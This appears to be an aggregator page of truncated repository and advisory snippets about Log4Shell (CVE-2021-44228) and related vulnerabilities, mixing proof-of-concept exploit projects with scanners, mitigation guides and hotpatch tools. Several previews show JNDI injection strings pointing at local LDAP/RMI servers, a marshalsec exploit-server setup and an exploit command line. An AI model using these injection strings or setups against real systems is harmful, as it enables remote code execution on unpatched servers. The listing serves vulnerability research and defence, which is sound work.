apache-tomcat-log4j

Log4j2 CVE-2021-44228 Vulnerability POC in Apache Tomcat Preview Setup Start tomcat server git clone cd apache-tomcat-10.0.14/bin startup.bat Serve the exploit class cd exploit py -m http.server 8888 cd exploit java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer...

log4j2

log4j2 this is a log4j2 jmi attack demo, inspired by link...

CVE-2021-44228-Demo

CVE-2021-44228-Demo An example of remotely injecting code via RMI and LDAP using CVE-2021-44228. Exploit class from RMI Server loaded Hello, $jndi:rmi://127.0.0.1:1099/exploit Exploit class from LDAP Server loaded Hello, $jndi:ldap://127.0.0.1:1389/org.mazhuang.ldap.Exploit RmiServer and LdapServ...

Log4j-Vulnerability

Log4j Vulnerability Tutorial: https://youtu.be/PNDBjoT83zA Tutorial: https://cryptodeeptech.ru/log4j-vulnerability Background on Log4j Alibaba Cloud Security Team publicly disclosed a critical vulnerability CVE-2021-44228 enabling unauthenticated remote code execution against multiple versions of...

Log4j2-RCE

Log4j2-RCE Log4j2 CVE-2021-44228 Reproduction and Echo Exploit...

log4j-remediation-tools

log4j-remediation-tools Tools for finding and reproducing the CVE-2021-44228 log4j2 vulnerability Tools find-vulnerabilities: determine heuristically whether a running JVM is vulnerable confirm-vulnerabilities: determine with 100% accuracy whether a running JVM is vulnerable Usage Both of these...

log4shell-mitigation

Details and Mitigation Strategy for log4j2 RCE Vulnerability Visit this Youtube video for additional details. https://youtu.be/jqWdwTeGRK0 This is a quick post on the mitigation for CVE-2021-44228 Security Vulnerability aka Log4Shell and LogJam found in log4j2 Disclaimer All the information and...

CVE-2021-44228-Scanner

log4j2-scan is a single binary command-line tool for CVE-2021-44228 vulnerability scanning and mitigation patch. It also supports nested JAR file scanning and patch. Download log4j2-scan 1.3.1 Windows x64 If native executable doesn't work, use the JAR instead. 32bit is not supported. log4j2-scan...

log4j2-exploit

Log4Shell CVE-2021-44228 proof of concept Requirement Java JDK/JRE 8 or later version curl exploitable Simple spring boot application that serves a login page with user and password. It logs the user name when POSTed to /. It is not required for the application to log any user provided input...

Log4j-PoC

Proof of Concept for Log4j CVE-2021-44228 Disclaimer This project is only for educational purposes. Introduction This is a proof of concept of the log4j rce adapted from HyCraftHD. Here are some links for the CVE-2021-44228: https://www.lunasec.io/docs/blog/log4j-zero-day...

log4j-vul

log4j-vul This project is just to show Apache Log4j2 Vulnerability - aka CVE-2021-44228 Java: java version "1.8.0121" Compile: from src folder javac -classpath .;..\lib\log4j-api-2.1.jar;..\lib\log4j-core-2.1.jar com\example\Log4jVul.java Execute\Run: from src folder java -classpath...

Astra Linux – Vulnerability in Apache Log4j2

Apache Log4j2 versions 2.0-beta7 through 2.17.0 excluding security fix releases 2.3.2 and 2.12.4 are vulnerable to a remote code execution RCE attack when a configuration uses a JDBC Appender with a JNDI LDAP data source URI, provided that the attacker has control over the target LDAP server. Thi...

CVE-2020-1947

CVE-2020-1947 usage: CVE-2020-1947.py -h -i IP -p PORT -T ACCESSTOKEN -poc POC python CVE-2020-1947.py -i 192.168.128.135 -p 8088 -T eyJ1c2VybmFtZSI6ImFk -poc ldap://127.0.0.1:1389/CommandObject...

log4j-finder

log4j-finder Un script en Python3 para escanear el sistema de archivos y encontrar Log4j2 vulnerable a Log4Shell CVE-2021-44228 y CVE-2021-45046 y CVE-2021-45105. Escanea recursivamente tanto en disco como dentro de archivos Java Archive JAR anidados. Cómo funciona log4j-finder identifica librerí...

cve-2022-42889-text4shell-docker

Instalar maven - maven-linux 1. Instalación de Maven para crear el fat jar mvn clean install 2. Construir Docker docker build --tag=text4shell . 3. Ejecutar Docker docker run -p 80:8080 text4shell 4. Probar la aplicación http://localhost/text4shell/attack?search= 5. El ataque se puede realizar...

hotpatch-for-apache-log4j2

Log4jHotPatch Esta es una herramienta que inyecta un agente Java en un proceso JVM en ejecución. El agente intentará parchear el método lookup de todas las instancias cargadas de org.apache.logging.log4j.core.lookup.JndiLookup para que devuelvan incondicionalmente la cadena "Patched...

log4j-poc

log4j-poc Un exploit LDAP RCE para CVE-2021-44228 Log4Shell Descripción El servidor Tomcat 8 de demostración en el puerto 8080 tiene una aplicación vulnerable log4shell desplegada en él y el servidor también es vulnerable mediante ataques de user-agent. La aplicación de exploit remoto en esta dem...

Exploit for Improper Input Validation in Siemens 6Bk1602-0Aa12-0Tp0_Firmware

Technical Analysis of Log4Shell CVE-2021-44228 Video P...

log4j2burpscanner

SOLO PER TEST, NON ATTACCARE NESSUNO SOLO PER TEST, NON ATTACCARE NESSUNO SOLO PER TEST, NON ATTACCARE NESSUNO Gruppo di discussione Se il QR code non è più valido, aggiungi su WeChat f-f0ng, con nota log4j2burpscanner comunicazione Segui l'account ufficiale della pagina principale only security,...

CVE-2026-105243

Insufficient Logging vulnerability in the EventLogAppender of Apache log4net. Long messages were truncated to a fixed size that exceeds what the Windows Event Log accepts once the log and source names are counted, and the event log then stored nothing and reported nothing. A party whose data...